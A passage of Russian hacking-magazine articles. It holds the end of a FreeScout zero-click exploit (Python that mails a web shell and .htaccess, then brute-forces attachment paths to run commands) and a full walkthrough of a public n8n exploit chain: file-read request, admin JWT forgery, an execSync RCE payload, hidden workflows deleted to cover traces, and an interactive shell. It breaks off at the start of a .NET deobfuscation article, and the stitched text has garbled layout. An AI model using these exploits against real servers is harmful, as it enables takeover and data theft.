htaccess_name}"'
    msg.attach(part1)

       part2 = MIMEApplication(shell_content, Name=shell_name)
      part2["Content-Disposition"] = f'attachment; filename="{
shell_name}"'
    msg.attach(part2)

        with smtplib.SMTP(SMTP_HOST, SMTP_PORT) as s:
        s.send_message(msg)
    print("[*] Mail sent")

   if __name__ == "__main__":
    send_mail()

Сохраняем файл в Kali и пробуем запустить скрипт. Нас будет ждать неболь‐
шой сюрприз...

Файлы разбросаны по разным директориям

Переходим в папку  и выполняем два поиска:/var/www/html/freescout

 sudo find /var/www/freescout/storage/app/attachment -name ".htaccess"
 2>/dev/null

 sudo find /var/www/freescout/storage/app/attachment -name "shell.txt"
 2>/dev
/null

Файлы  и   лежат в разных папках. Иногда они с первого

раза падают в  одну папку. Так было у  меня, когда я только тестировал уяз‐
вимость. Буквально сразу, поняв, как реализовать шелл, я запустил свой PoC
и  увидел полностью рабочий скрипт. Но, проверяя свою же инструкцию
по установке и взлому, я с удивлением увидел, что скрипт перестал работать.
Если  бы я сразу начал разбираться с  тем, как  формируются пути для  вло‐
жений, сэкономил  бы много часов. Но  я раз за  разом запускал скрипт,
который то работал, то не  работал. Сносил машины, настраивал снова,
и один раз из десяти скрипт срабатывал.

.htaccess shell.txt

Все дело в принципе формирования роутов во FreeScout.
В файле  находится код, который формирует путь:/routes/web.php

 Route::get('/storage/attachment/{dir_1}/{dir_2}/{dir_3}/{file_name}',
'OpenController@downloadAttachment')->name('attachment.download');

Переменные ,  и   формируются в этой функции:dir_1 dir_2 dir_3

       public static function generatePath($id)
    {

          $hash = md5($id);

          $first = -1;
          $second = 0;

                for ($i = 0; $i < strlen($hash); $i++) {
              if (is_numeric($hash[$i])) {

                    if ($first == -1) {
                      $first = $hash[$i];

                  } else {
                      $second = $hash[$i];

                    break;
                }
            }
        }

            if ($first == -1) {
              $first = 0;

        }

         return $first.DIRECTORY_SEPARATOR.$second.DIRECTORY_SEPARATOR
;
    }

Переменные  и    — это  числовые значения, которые мы берем

из  хеша идентификатора . Они всегда принимают значения

от  0  до  9. Для  этих двух уровней нам потребуется максимум  100  итераций
перебора: 10 * 10 = 100.

dir_1 dir_2
md5($id)

Переменная   — это  обычный счетчик, который нужен, чтобы избе‐

жать коллизий и  перезаписи файлов. Если все три переменные равны еди‐
нице, папка будет иметь путь . Но  если в  ней
уже есть файл , счетчик  увеличится и путь к нашему 

 будет .

dir_3

/storage/attachment/1/1/1
shell.txt dir_3 shell.

txt /storage/attachment/1/1/2/shell.txt

INFO

Если хочешь полностью разобраться в  процессе
сохранения аттача, смотри код функции
saveFileToDisk() в файле /app/Attachment.php.

Решение простое — будем слать подряд множество писем, например сотню
для 100%-го попадания. Для теста этого хватит. Работа скрипта станет гораз‐
до шумнее, зато мы гарантированно получим совпадения. Из  плюсов этого
подхода — неважно, какое количество вложений уже есть на сервере: вряд ли
среди них найдутся еще файлы  и  . Даже в крупной базе

нам достаточно сделать два вложенных перебора:

.htaccess shell.txt

   for i in range(0,10):
       for j in range(0,10):

Вносим изменения в вызов функции :send_mail()

   if __name__ == "__main__":
       for i in range(0,100):
        send_mail()

После отправки писем нужно дать «Фрискауту» немного времени, чтобы он
забрал их и  создал тикеты. Ставим паузу на  минуту‑две. Сборщик «Фрис‐
каута» работает по  . Когда тикет создастся, заставим скрипт выполнить

перебор путей:

curl

 def find_shell():
    print("[*] Start searching shell.txt")
       for i in range(0,10):

           for j in range(0,10):
              url = f"{BASE_URL}/storage/app/attachment/{i}/{j}/1/

shell.txt?c=id"
            try:

                   resp = urllib.request.urlopen(url, timeout=3)
                  output = resp.read().decode().strip()
  

 
                match = re.search(r'uid=(\d+)\(([^)]+)\)\s+gid=(\
d+)\(([^)]+)\)', output)

                 if match:
                         uid, uname, gid, gname = match.groups()

                    print(f"Shell found: {url}")
                    print(f"[+] uid={uid}({uname}) gid={gid}({gname})
")
                    return
            except:
                continue
    print("Shell not found")

Не забудь внизу добавить паузу и вызов функции поиска:

time.sleep(20)
find_shell()

Запускаем тест:

python3 poc-cve-2026-28289.py

Успешное выполнение скрипта

Если FreeScout слишком долго не  забирает почту, на  уязвимой машине
выполняем

sudo php artisan freescout:fetch-emails

Ручной импорт писем

Наш шелл нашелся по пути 

. Значит, самое время опробовать .

http://localhost/storage/app/attachment/0/
0/1/shell.txt curl

curl "http://localhost/storage/app/attachment/8/7/1/shell.txt?c=id"

ЗАКЛЮЧЕНИЕ

В заключение не  хочется рассуждать на  тему этой уязвимости. Она крутая.
Zero-click-уязвимости вообще редко бывают не крутыми. Хочу обратить вни‐
мание на  сам подход к  работе. Наверное, тебе знакомо чувство, когда
бьешься с  каким‑то таргетом всю ночь. А  может, не  с таргетом, а  с кодом.
Запускаешь снова и  снова, но  ничего не  получается. Ночь уже закончилась,
люди пошли на  работу, а  ты, как  сумасшедший, сидишь и  безостановочно
пытаешься решить проблему. В этот раз у меня было именно так.

Я никак не мог понять, почему после кучи попыток все вдруг работает, а в
остальное время — тишина. Причем ведь очевидно, что файлы лежат в раз‐
ных папках. Видел это, но не обращал внимания.

Все решил сон. Немного поспав, я понял свои ошибки, еще не встав с кро‐
вати. Через десять минут все уже идеально работало, и осталось только соб‐
рать материал в годную статью.

В общем, не  забывай про  отдых. В  нашей работе очень легко съехать
с катушек и превратиться в маньяка, который бесконечно долбит по клавиату‐
ре в  поисках решения. Нужно уметь остановиться и  хорошенько отдохнуть.
Приятных снов! © X
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ВЗЛОМ

Две ошибки в  логике n8n превращаются
в  полноценную цепочку компрометации.
Первая дает чтение любых файлов на  сер‐
вере. Вторая позволяет подделать JWT
администратора. Соединив их, получаем
эксплоит, который в  несколько запросов
захватывает сервер и  выполняет про‐
извольные команды.

WARNING

Статья имеет ознакомительный характер и пред‐
назначена для  специалистов по  безопасности,
проводящих тестирование в  рамках контракта.
Автор и  редакция не  несут ответственности
за  любой вред, причиненный с  применением
изложенной информации. Распространение вре‐
доносных программ, нарушение работы систем
и  нарушение тайны переписки преследуются
по закону.

N8n  — популярная платформа для  создания автоматизированных рабочих
процессов (workflows). Пользователь, как  в конструкторе, создает процесс,
который потом платформа выполняет по  расписанию или  каким‑то другим
триггерам. Например, парсит посты из десятков Telegram-каналов и репостит
в собственный. Платформа поддерживает огромное количество интеграций.
Особенно интересны интеграции с разными нейросетями.

Пример Workflow n8n

Платформа используется не только в простых задачах, вроде обработки кон‐
тента. Ты можешь развернуть n8n на  своем сервере в  корпоративной сети
и  повесить на  него, например, автоматизацию документооборота, управле‐
ние системой продаж и  кучу других функций. С  учетом массовых внедрений
ИИ может оказаться, что скоринговая система в банке работает на n8n.

Для тестов скачай репозиторий: 
. Внутри уязвимый контейнер с n8n и эксплоит, который будем пре‐

парировать. В эксплоите автор реализовал комбинированную атаку с исполь‐
зованием двух критических уязвимостей n8n. С  помощью CVE-2026-
21858 эксплоит читает файлы на сервере, получает токены доступа. Исполь‐
зуя CVE-2025-68613, получает полноценную Remote Code Execution.

CVE-2026-21858 + CVE-2025-68613 — n8n
Full Chain

CVE-2026-21858

Это критическая уязвимость в n8n, которая делает возможным произвольное
чтение файлов на сервере (Arbitrary File Read). Рейтинг опасности по CVSS —
10.0. Уязвимость затрагивает версии от  1.65.0  до  1.120.x включительно.
Исправлена в 1.121.0.

INFO

Не путай Local File Inclusion и Arbitrary File Read.
Они схожи по своему смыслу и даже могут иметь
очень похожую эксплуатацию, но  это принципи‐
ально разные уязвимости. LFI  — это  включение
файла. Например, в  PHP файлы включаются
через  или  , а значит, при чте‐
нии PHP-файла код выполнится. При Arbitrary File
Read происходит чтение файла как  есть, нев‐
зирая на вставки кода. Исполниться может только
JavaScript, если ты эксплуатируешь уязвимость
через браузер.

include require

Уязвимость возникает, когда в  n8n есть формы с  загрузкой файлов. Ата‐
кующий может подделать запрос, подменив  с 

 на  . Это приведет к тому, что функция парсинга

 запустит стандартный парсер  вместо
. Функция  слепо присваивает все тело зап‐

роса в  .

Content-Type multipart/
form-data application/json
parseRequestBody() parseBody()
parseFormDate() parseBody()

req.body
Следующее звено цепочки  — библиотека Formidable. При  нормальном

поведении она должна подготовить JSON-объект для  копирования файла
во  временное расположение. Но  решение снова принимается на  основе

, и  снова  пропускает поддельный JSON

напрямую.

Content-Type application/json

После всех преобразований объект попадает в  функцию
. Функция копирует временный файл. Читает его и возвра‐

щает данные в  workflow. Рабочий процесс, в  свою очередь, возвращает
содержимое файла в необработанном виде в HTTP-ответе.

copyBinaryFile()

Пример атакующего запроса:

  POST /form/vulnerable-form HTTP/1.1
 Host: localhost:5678

 Content-Type: application/json
 User-Agent: Mozilla/5.0 (compatible; PoC)

 Accept: */*
 Content-Length: 248

 Connection: close

{
  "data": {},
  "files": {
    "f-k9p2m7": {
      "filepath": "/etc/passwd",
      "originalFilename": "x7y8z9a1.bin",
      "mimetype": "application/octet-stream",
      "size": 45231
    }
  }
}

Структура должна описывать загружаемый файл:
 — имя исходного файла. Укажи случайное значение;• originalFilename

 указывает на тип файла. Бинарные данные n8n не будет строго
проверять;

• mimetype

 — случайный размер файла в байтах. Ни на что не влияет;• size
  — в  оригинале это  свойство заполняется функцией из  биб‐

лиотеки Formidable и  должно выглядеть как‑то так: 
.

• filepath
/tmp/

upload_aaabbb2233.tmp

В тестовой машине n8n работает под  . Это значит, что ты можешь про‐

читать что угодно. В том числе конфиги самой n8n.

root

CVE-2025-68613

N8n до  версии  1.121.0  содержит вторую критическую проблему, которая
в цепочке с CVE-2026-21858 приводит к полноценной Remote Code Execution.

Суть проблемы  — возможность подделать куку авторизации ,

если хакеру известен  и  данные администратора из  базы.

Кука  — это  обычный токен JWT, сгенерированный по  известному алгоритму
(продукт опенсорсный). Интересно, что для генерации JWT достаточно хеша
пароля.

n8n-auth
encryptionKey

Сервер принимает JWT без серверной валидации состояния пользовате‐
ля. В результате злоумышленник получает права администратора без знания
реального пароля.

Все нужные файлы в одном месте

Проблема не  в самой криптографии. Алгоритм  корректен. Ошибка

в архитектуре:

HS256

1. Ключ подписи хранится локально в  .~/.n8n/config
2. База пользователей лежит рядом, в  .~/.n8n/database.sqlite
3. Подпись строится детерминированно на основе , 

и bcrypt-хеша пароля.
encryptionKey email

Это превращает компрометацию файловой системы в  компрометацию сес‐
сий. Атакующему остается только создать условия для  выполнения кода  —
собственный воркфлоу с двумя узлами. Один узел — триггер для запуска про‐
цесса. Второй триггер с пейлоадом на JavaScript:

  ={{ (function() {
     var require = this.process.mainModule.require;
     var execSync = require("child_process").execSync;
   return execSync("<CMD>").toString();

 })() }}

Движок выполнит JavaScript в  контексте процесса Node.js. Через 

 ты получишь доступ к  . Дальше  —

 любой команды.

process.
mainModule.require child_process
execSync()

ТЕСТОВАЯ ЭКСПЛУАТАЦИЯ

Если еще не скачал проект, выполни в терминале

git clone https://github.com/Chocapikk/CVE-2026-21858.git

Зайди в папку с проектом и запусти Docker-контейнер:

cd CVE-2026-21858
docker compose up -d

Важно! После запуска проекта подожди несколько минут, чтобы в контейнере
выполнились все подготовительные процессы. Docker должен установить все
зависимости и  дать старт n8n. На  слабой машине придется подождать
подольше.

Пока собирается контейнер, установи тулзу . Это  мегабыстрый менед‐

жер пакетов и  проектов для  Python. С  ним не  должно возникнуть проблем
установки зависимостей и  всего прочего, он сам все поставит и  запустит.
Установка:

uv

curl -LsSf https://astral.sh/uv/install.sh | sh

Ты поймешь, что контейнер полностью развернулся, когда откроется форма
по адресу .http://localhost:5678/form/vulnerable-form

Уязвимая форма

Открылась форма? Запускай эксплоит:

# Прочитать /proc/self/environ
uv run python exploit.py http://localhost:5678 /form/vulnerable-form 
--read /proc/self/environ

# Выполнить одну команду на сервере

 
uv run python exploit.py http://localhost:5678 /form/vulnerable-form 
--cmd "pwd"

# Полноценный интерактивный шелл
uv run python exploit.py http://localhost:5678 /form/vulnerable-form

Чтение файла в контейнере

Если у тебя возникли проблемы с выполнением шелла, убедись, что контей‐
нер полностью загрузился и форма открывается.

Запуск шелла

РАЗБОР ЭКСПЛОИТА

Работа эксплоита начинается с проверки версии n8n. Далее, в зависимости
от  параметров запуска, он читает файл или  выполняет команду. Действие
по умолчанию — запуск шелла.

 def main():
    print(BANNER)
      args = parse_args()

       exploit = Ni8mare(args.url, args.form)
       version, vuln = exploit.get_version()
    log.info(f"Target: {exploit.form_url}")
        log.info(f"Version: {version} ({'VULN' if vuln else 'SAFE'})")

     if args.read:
          run_read(exploit, args.read, args.output)

        return

      if not exploit.pwn():
        return

     if args.cmd:
         run_cmd(exploit, args.cmd)

        return

    run_shell(exploit)

   if __name__ == "__main__":
    main()

Ключевой элемент эксплоита  — класс . В  этом классе реализовано
взаимодействие с API n8n: генерация пейлоадов, чтение конфигов n8n, кража
пароля админа, генерация поддельного JWT, создание скрытого воркфлоу
и выполнение команд на сервере.

Ni8mare

Функции, которые расположены вне класса, вспомогательные:
 — генерирует случайную строку заданной дли‐

ны. Нужна для генерации случайных айдишников;
• randstr(n: int = 12)

  — генерирует случайные координаты. Координаты нужны
при создании нового узла. Используются для позиционирования узла n8n
на canvas, при визуальном редактировании. Возвращаемые значения — 

 в диапазоне 100–599;

• randpos()

[
X, Y]

 — запускает чтение файла;
• run_read(exploit: Ni8mare, path: str, output: str |
None)

  — инициирует выполнение
команды на сервере;

• run_cmd(exploit: Ni8mare, cmd: str)

  — запуск интерактивного шелла.
Это  обертка над  функцией  объекта . В  бесконечном
цикле ждет команду пользователя и  запускает . Если поль‐
зователь ввел , завершает работу.

• run_shell(exploit: Ni8mare)
run_rce Ni8mare

run_rce
exit

Класс  при инициализации запоминает данные коннекта к n8n и соз‐

дает новую сессию объекта . Все запросы к API выполняются через

, чтобы пробрасывать куку авторизации :

Ni8mare
requests

session n8n-auth

 class Ni8mare:
         def __init__(self, base_url: str, form_path: str):

          self.base_url = base_url.rstrip("/")
          self.form_url = f"{self.base_url}/{form_path.lstrip('/')}"
          self.session = requests.Session()

          self.admin_token = None

            
  

def _api(self, method: str, path: str, **kwargs) -> requests.
Response | None:

         kwargs.setdefault("timeout", 30)
   

   
        kwargs.setdefault("cookies", {"n8n-auth": self.admin_token}
if self.admin_token else {})

            resp = self.session.request(method, f"{self.base_url}{path}",
**kwargs)

             return resp if resp.ok else None

Первым делом эксплоит чекает версию n8n через функцию .

Это делается через обращение к методу API :

get_version()
/rest/settings

        def get_version(self) -> tuple[str, bool]:
            resp = self._api("GET", "/rest/settings", timeout=10)

    
    

        version = resp.json().get("data", {}).get("versionCli", "0.0.
0") if resp else "0.0.0"

            major, minor = map(int, version.split(".")[:2])
                    return version, major < 1 or (major == 1 and minor < 121)

По какой ветке запуска ты ни  пойдешь, в  том или  ином виде столкнешься
с чтением файла на сервере. В эксплоите это метод :read_file()

           def read_file(self, filepath: str, timeout: int = 30) -> bytes | None
:
      resp = self.session.post(

         self.form_url, json=self._lfi_payload(filepath),
          headers={"Content-Type": "application/json"}, timeout=timeout

    )
           return resp.content if resp.ok and resp.content else None

Это обычный POST-запрос, с  обязательным указанием заголовка 

 и пейлоадом, за который отвечает .

Content-
Type _lfi_payload

     def _lfi_payload(self, filepath: str) -> dict:
     return {

         "data": {},
         "files": {

             f"f-{randstr(6)}": {
                 "filepath": filepath,

                 "originalFilename": f"{randstr(8)}.bin",
                 "mimetype": "application/octet-stream",

                   "size": secrets.randbelow(90000) + 10000
            }
        }
    }

Продолжение статьи →

https://t.me/ret0x2A
https://github.com/Chocapikk/CVE-2026-21858/tree/master
https://github.com/Chocapikk/CVE-2026-21858/tree/master


СИНЕРГИЯ ДВУХ ДЫР
КАК СЕРВЕР N8N УГОНЯЕТСЯ

В ПАРУ ЗАПРОСОВ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

На выходе  — объект JSON с  рандомизированными данными. Единственный
нерандомизированный ключ  — путь к  файлу. Благодаря CVE-2026-
21858 нарушается бизнес‑логика, и n8n позволяет прочитать указанный файл
на сервере. Это весь процесс чтения через Arbitrary File Read.

Чтобы выполнить команду или  создать шелл, эксплоит проверяет, можно
ли эксплуатировать CVE-2025-68613. Для этого есть функция :pwn()

   def pwn(self) -> bool:
      p = log.progress("HOME directory")
      home = self.get_home()
      if not home:

           return p.failure("Not found") or False
    p.success(home)

      p = log.progress("Encryption key")
      key = self.get_key(home)
      if not key:

           return p.failure("Failed") or False
    p.success(f"{key[:8]}...")

      p = log.progress("Database")
      db = self.get_db(home)
      if not db:

           return p.failure("Failed") or False
    p.success(f"{len(db)} bytes")

      p = log.progress("Admin user")
      admin = self.extract_admin(db)
      if not admin:

           return p.failure("Not found") or False
        uid, email, pw = admin
    p.success(email)

      p = log.progress("Token forge")
       self.forge_token(key, uid, email, pw)
    p.success("OK")

      p = log.progress("Admin access")
      if not self.verify_token():

           return p.failure("Rejected") or False
    p.success("GRANTED!")

    log.success(f"Cookie: n8n-auth={self.admin_token}")
     return True

Порядок работы функции:
1.   — чтение . Внутри инфа об  окру‐

жении, в  которой должна быть переменная . Это  путь к  домашней
папке пользователя, от имени которого запущен n8n.

get_home() /proc/self/environ
HOME

2.   — читает файл , который лежит в  домашнем
каталоге. Конфиг содержит обычный объект JSON, у  которого есть поле

. Это ключ, который n8n использует для криптографичес‐
ких операций, в том числе для подписи auth-cookie. Если 
известен, можно вычислить секрет подписи JWT. Это  ломает модель
доверия n8n: сервер доверяет cookie, подписанной этим ключом.

get_key() /.n8n/config

encryptionKey
encryptionKey

Содержимое файла ~/.n8n/config

В   есть смысл добавить проверку еще  хотя  бы одного пути  — 

. Я обратил внимание на то, что при запуске Docker-кон‐

тейнера с  ключом, зашитым в  переменные окружения, n8n кладет конфиг
в  подпапку . Если  не  задан в  переменных окружения,
конфиг создается без подпапки, а в  падает случайная строка.

3.  получает базу данных n8n. Лежит в домашнем каталоге, путь 

. В базе лежат логин и пароль админа.
4.  вытаскивает из базы ,  и  . Пароль хра‐

нится в  виде bcrypt-хеша, но  хеша вполне достаточно для  компрометации
сессии. При генерации токена используется именно хеш.
5. 

  — имитация работы алгоритма n8n. Сначала создается хеш 

на основе каждого второго символа . Следом высчитывается

хеш на основе  и хеша пароля. Завершает работу генерация поддель‐

ного JWT: 
.

6.  — чекает JWT запросом к API на  .

get_key() /.
n8n/config/config

config encryptionKey
encryptionKey

get_db() /.
n8n/database.sqlite

extract_admin() id email password

forge_token(self, key: str, uid: str, email: str, pw_hash:
str) SHA-256

encryptionKey
email

self.admin_token = jwt.encode({"id": uid, "hash": h},
secret, "HS256")
verify_token() /rest/users
Функция получения Remote Code Execution  — , она

начинается с генерации объекта для создания двух узлов: 

 и  . Первый  — это  триггер для  запуска

воркфлоу эксплоитом. Второй  — это  контейнер для  пейлоада. Именно он
выполнит команду атакующего.

rce(commsnd: str)
n8n-nodes-base.

manualTrigger n8n-nodes-base.set

Пейлоад найдешь в  переменной , перед  отправкой 

скрипт заменит ее твоей командой:

RCE_PAYLOAD CMD

  RCE_PAYLOAD = '={{ (function() { var require = this.process.
mainModule.require; var execSync = require("child_process").
execSync; return execSync("CMD").toString(); })() }}'

Функция генерации воркфлоу и узлов:

        def _build_nodes(self, command: str) -> tuple[list, dict, str, str]:
        trigger_name, rce_name = f"T-{randstr(8)}", f"R-{randstr(8)}"
      result_var = f"v{randstr(6)}"
        payload_value = RCE_PAYLOAD.replace("CMD", command.replace('"', '
\"'))
      nodes = [

             {"parameters": {}, "name": trigger_name, "type": "
n8n-nodes-base.manualTrigger",

              "typeVersion": 1, "position": randpos(), "id": f"t-{randstr(
12)}"},

     
 

        {"parameters": {"values": {"string": [{"name": result_var, "
value": payload_value}]}},

    
 

         "name": rce_name, "type": "n8n-nodes-base.set", "typeVersion
": 2,

            "position": randpos(), "id": f"r-{randstr(12)}"}
    ]
          
   

connections = {trigger_name: {"main": [[{"node": rce_name, "type"
: "main", "index": 0}]]}}
        return nodes, connections, trigger_name, rce_name

Воркфлоу для атаки

Новые узлы идут в  новый воркфлоу. Чтобы скрыть его от  админа, воркфлоу
создает в состоянии :active:False

       def rce(self, command: str) -> str | None:
         nodes, connections, _, _ = self._build_nodes(command)
      wf_name = f"wf-{randstr(16)}"
           workflow = {"name": wf_name, "active": False, "nodes": nodes,

                   "connections": connections, "settings": {}}

         resp = self._api("POST", "/rest/workflows", json=workflow,
timeout=10)
      if not resp:

         return None
       wf_id = resp.json().get("data", {}).get("id")
      if not wf_id:

         return None
    # Запуск триггера

Узлы внутри нового воркфлоу

Когда воркфлоу создан, самое время дернуть триггер и  выполнить команду
на сервере:

# Продолжение def rce(self, command: str) -> str | None:
# Запуск триггера

        run_data = {"workflowData": {"id": wf_id, "name": wf_name, "active":
False,

   
  

                              "nodes": nodes, "connections":
connections, "settings": {}}}
# За запуск отвечает метод API /rest/workflows/{wf_id}/run

    
 

resp = self._api("POST", f"/rest/workflows/{wf_id}/run", json=
run_data, timeout=30)

# Если произошла ошибка, прячем следы, удалив воркфлоу
  if not resp:

    # Если хочешь увидеть воркфлоу, закомментируй следующую строку
      self._api("DELETE", f"/rest/workflows/{wf_id}", timeout=5)
     return None

# Забираем дату из респонса
   exec_id = resp.json().get("data", {}).get("executionId")

# Парсим результат. Функция парсинга скучна и не требует объяснений
      result = self._get_result(exec_id) if exec_id else None

# Завершив работу, убираем следы. Если хочешь увидеть воркфлоу, 
комментируй строку:

  self._api("DELETE", f"/rest/workflows/{wf_id}", timeout=5)
 return result

Пейлоад в ноде

INFO

После эксплуатации, когда выполнится хотя  бы
одна команда в системе, креды, указанные в опи‐
сании тестовой машины, могут перестать
работать. Чтобы авторизоваться в  n8n, скопируй
из  вывода эксплоита строку с  куки. Копируй,
начиная с  . Вставь куки в  браузер
и открой .

n8n-auth=
http://localhost:5678/

Вставить куки можешь через расширение
EditThisCookie, либо через «Хранилище» в инстру‐
ментах веб‑разработчика, либо командой в  кон‐
соли браузера: 

.
document.cookie="n8n-

auth=..."

Функция  — это просто обертка над методом  класса :run_shell rce Ni8mare

    def run_shell(exploit: Ni8mare) -> None:
    log.info("Interactive mode (type 'exit' to quit)")
     while True:
        try:

              cmd = input("\033[91mn8n\033[0m> ").strip()
         except (EOFError, KeyboardInterrupt):

            print()
            return

              if not cmd or cmd == "exit":
            return

          out = exploit.rce(cmd)
         if out:

            print(out)

Бесконечный цикл ждет команду, после передает ее , которая каждый

раз создает новый воркфлоу с узлами для атаки. Ты можешь оптимизировать
процесс, исключив постоянное добавление и  удаление воркфлоу. Добавь
в  класс  переменные для  хранения  воркфлоу и  узла. Обновляй

ноду запросом к API: , метод запроса — . Формат

запроса подробно описан в  .

rce()

Ni8mare id
/rest/workflows/{id} PUT

документации n8n

ЗАКЛЮЧЕНИЕ

Эксплоит интересен в первую очередь тем, что работает с мощным популяр‐
ным проектом. Даже в таком проекте нашлись довольно простые уязвимости.
Это очередное напоминание о том, что не стоит недооценивать человеческий
фактор. Когда сталкиваешься с крупными проектами, может возникнуть ощу‐
щение, что нужно искать какие‑то сложные пути. Не  поддавайся этому
обманчивому чувству.

Этот эксплоит — хорошая демонстрация атаки в несколько шагов. Автор,
на мой взгляд, ловко подошел к решению задачи.

Но даже в таком неплохом эксплоите есть что дорабатывать. Мы с тобой
определили, что его автор выполнил чтение конфига только из  одного рас‐
положения, хотя есть и  другие варианты. Не  очень эффективно устроена
работа с  атакующим рабочим процессом. При  создании шелла оптимально
было  бы обновлять воркфлоу, а  не создавать новый под  каждую команду.
В  целом есть смысл сократить количество ненужных повторяющихся опе‐
раций.

Надеюсь, тебе было интересно и  полезно читать статью. Как  всегда, жду
твоих комментариев! © X

http://localhost:5678/
https://docs.n8n.io/api/api-reference/#tag/workflow/PUT/workflows/{id}


JaboHack

ВЗЛОМ

Сегодня мы разберемся с одним из самых
неприятных .NET-обфускаторов  —
Eazfuscator.NET, который защищает код
не  только шифрованием строк и  запуты‐
ванием control flow, но и полноценной вир‐
туальной машиной. Мы исследуем вир‐
туализованный код, модифицируем уста‐
ревший девиртуализатор EazyDevirt
под  новую версию защиты и  шаг за  шагом
доберемся до  скрытых методов, несмотря
на  сломанные шаблоны и  измененные
механизмы обфускации.

Если после статьи «
» тебе не надоели .NET-обфускаторы, сегодня мы перейдем

к  обсуждению еще  более зловредного представителя этого семейства  —
. Зловредность его заключается в том, что, помимо уже встре‐

чавшегося нам ранее джентльменского набора фич вроде обфускации control
flow, шифрования констант, строк и имен идентификаторов, в нем присутству‐
ет вполне себе натуральная виртуальная машина. Наподобие тех, которые мы
встречали во  взрослых защитах , ,  или  даже
в VMProtect.

Конфуз, сэр! Добываем код из  ConfuserEx без  готовых
деобфускаторов

Eazfuscator.NET

Enigma Obsidium Themida

До этого мы разбирали 
 с расшифровкой непосредственно перед JIT-

компиляцией, что делало его уязвимым для  реверса на  этом этапе. В  рас‐
сматриваемом же случае набор IL-инструкций преобразуется в шифрованную
последовательность псевдокоманд шитого кода, пошагово исполняемую
встроенным интерпретатором. Разумеется, это  чертовски замедляет работу
приложения, однако на  что не  пойдешь ради приватности кода? Ну что же,
давай посмотрим, что можно предпринять в столь запущенном случае.

способ сокрытия IL-кода путем шифрования
отдельных классов или методов

Итак, у  нас есть некое приложение. Требуется отследить в  нем вызов
определенного диалогового окна и по возможности научиться управлять им.
К сожалению, Eazfuscator пока еще не детектируется стандартными средства‐
ми, Detect It Easy видит в  нем обычное обфусцированное .NET-приложение
PE32:

Operation system: Windows(95)[I386, 32-bit, GUI]
Linker: Microsoft Linker(6.0)
Compiler: VB.NET
Language: VB.NET
Library: Microsoft Edge Chromium WebView
Library: .NET Framework(CLR 4.0.30319)
Sign tool: Windows Authenticode(2.0)[PKCS #7]
(Heur)Protection: Obfuscation[Virtualization   Calls encrypt   Anti-
ILDASM   Bad namings   Math inversions]
(Heur)Protection: Anti analysis[Anti-debug]
Overlay: Binary(Store)[Offset=0x00321c00,Size=0x2978]
    Certificate: WinAuth(2.0)[PKCS #7]

De4dot детектирует некий неизвестный Unknown Obfuscator, поэтому наличие
Eazfuscator нам придется определять эмпирически, по  внешнему виду кода.
Загрузим исследуемое приложение в отладчик dnSpy.

Бросается в глаза упомянутый выше базовый набор обфускатора — нечита‐
емые имена, неуклюжая обфускация control flow с  добавлением бессмыс‐
ленных условных операторов и  почти полное отсутствие видимых строковых
констант. De4dot слегка причесывает код, убирая лишние условные операто‐
ры и  меняя сложночитаемые длинные имена на  нумерованные классы
и  методы, однако весьма дорогой ценой  — программа при  этом теряет
работоспособность.

По характерному виду обфусцированных имен ( , а  внутри набор
символов, маскирующийся под  Base64) можно предположить, что это  наш
пациент. К  слову сказать, имена эти отнюдь не  бессмысленны. Они имеют
разную длину, и  некоторые из  них повторяются в  весьма осмысленном кон‐
тексте, что дает основание предполагать: информация об их исходном виде
не  потеряна и  при желании восстановима. Так и  есть, умные люди провели
исследование и  даже попытались написать .
К  сожалению, практически эти наработки бесполезны, поскольку имена
зашифрованы AES, ключ к  которому, скорее всего, имеется только у  раз‐
работчиков.

#=...=

утилиту для  их восстановления

Так что не  будем отвлекаться на  эту тему  — решению нашей задачи она
помогает лишь опосредованно. Гораздо более интересна задача деобфуска‐
ции строк. При  видимом отсутствии читаемых строковых констант код изо‐
билует вызовами с константами номерными.

Благодаря нашему опыту работы с  другими обфускаторами нас начинают
терзать смутные сомнения, что вызовы метода

 и  есть обращение

к текстовым константам. Причем простые манипуляции с отладчиком это под‐
тверждают (еще одна хорошая новость  — Eazfuscator в  отладке программы
нам пока что совершенно не препятствует). И снова приятная неожиданность:
нам не придется самим декодировать строковые константы, поскольку умные
люди и  тут постарались до  нас  — инструмент  в  сочетании с  de4dot
прекрасно расшифровывает строки и ресурсы до читаемого вида. К сожале‐
нию, ценой той же самой потери работоспособности деобфусцированного
модуля, поэтому данный метод годится только для анализа кода.

#=zjsc8ywR05iBjsM$TSzzy5Bfjq_c3.#=zI35NzNE=()

EazFixer

Однако все это, так сказать, необязательная косметика: мы проделывали
подобное ранее с  другими обфускаторами. Вернемся к  самому главному
моменту нашего обсуждения — работе с виртуализованным кодом. Как я уже
говорил, по  условию задачи нам нужно разобраться с  вызовом определен‐
ного диалогового окна, при  этом код формы присутствует в  кое‑как деоб‐
фусцированном листинге, однако непосредственный его вызов в коде отсутс‐
твует. На  него можно поставить точку останова и  попробовать понять,
как  такое происходит. Посмотрим внимательно на  стек возвратов по  дос‐
тижении этой точки останова.

Как видишь, требующийся нам метод вызывается динамически через .

MethodBase и  параметры конструируются во  время исполнения длинной
цепочки вложенных вызовов. Поставив на  этот  точку останова, мы

обнаруживаем множество последовательных вызовов самых разнообразных
методов  — налицо явные признаки виртуальной машины, про  которую нам
было известно с самого начала.

Invoke

Invoke

Самостоятельно реверсировать виртуальную машину нам (учитывая пред‐
полагаемый объем работ) лениво, да  и, по  счастью, не  нужно, так как  мы
в  этом случае можем выбрать путь наименьшего сопротивления. Как  ты уже
понял, эту тему изучали и  до нас и  даже создали почти рабочее решение
по девиртуализации Eazfuscator — проект . Разумеется, тут все сов‐
сем не  шоколадно: проект успел за  три года устареть, а  обфускатор совер‐
шенствуется непрерывно. Поэтому теперь при  натравливании на  наш
целевой модуль деобфускатор громко ругается.

EazyDevirt

Хорошими новостями можно считать, во‑первых, то, что он не  отказывается
от анализа нашего модуля, то есть чисто гипотетически принцип обфускации
при всех изменениях остался схожим. Во‑вторых, у нас теперь есть исходни‐
ки, в  которых этот принцип более‑менее реализован, и  можно попробовать
модифицировать его под  современные реалии. Именно так мы поступали
в  , так поступим и сейчас.моей предыдущей статье про ConfuserEx

Загружаем в  отладчик dnSpy уже EazyDevirt с  нужной командной строкой
и  ставим точку останова на  метод 

, а  точнее, на  конструкцию, вызывающую
исключение .

EazyDevirt.Devirtualization.
Pipeline.FindVMStreamMethods

Failed to get VM Declaring type!

...
   MethodDefinition getVmInstanceMethod = type.Methods.First(

          
   

(MethodDefinition m) => m.MetadataToken != this.
